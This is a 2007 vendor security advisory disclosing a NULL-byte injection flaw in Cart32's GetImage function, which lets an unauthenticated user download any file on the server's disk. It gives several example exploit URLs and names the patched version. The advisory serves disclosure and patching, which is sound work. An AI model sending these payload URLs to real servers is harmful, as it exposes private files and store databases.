======================================================================== = Cart32 Arbitrary File Download Vulnerability = = Vendor Website: = http://www.cart32.com = = Affected Version: = -- All releases prior to and including v6.3 = = Public disclosure on Thursday 4th October 2007 = ======================================================================== Available online at: http://www.security-assessment.com/files/advisories/2007-10-04_Cart32_Ar bitrary_File_Download.pdf == Overview == Security-Assessment.com has discovered a highly critical vulnerability within the Cart32 administrative application. The vulnerability allows a remote unauthenticated user to arbitrarily download any file present on the same physical disk that Cart32 is installed on. The vulnerability stems from a NULL byte injection flaw within a file read function. == Exploitation == The function GetImage, part of c32web.exe displays various images from a supplied "ImageName" variable. http://host.com/scripts/c32web.exe/GetImage?ImageName=test.gif C32web.exe attempts to prevent arbitrary files from being disclosed by only returning files with an extension of .jpg, .gif, .png and .pdf. Any file, of any extension type can be downloaded when a NULL byte is injected into the ImageName variable with a valid file extension suffixed directly after. Example http://host.com/scripts/c32web.exe/GetImage?ImageName=somefile.txt%00.gi f http://host.com/scripts/c32web.exe/GetImage?ImageName=somefile.txt%00.jp g http://host.com/scripts/c32web.exe/GetImage?ImageName=somefile.txt%00.pd f http://host.com/scripts/c32web.exe/GetImage?ImageName=somefile.txt%00.pn g This vulnerability can be used to read any file on disk, including the cart32 database. == Solutions == A new build of Cart32 v6.4 is available to address this vulnerability. Security-Assessment.com highly recommends all Cart32 users to upgrade. == Credit == Discovered and advised to McMurtrey/Whitaker & Associates, Inc October 2007 by Paul Craig of Security-Assessment.com == Greetings == To all my fallen SA brothers.
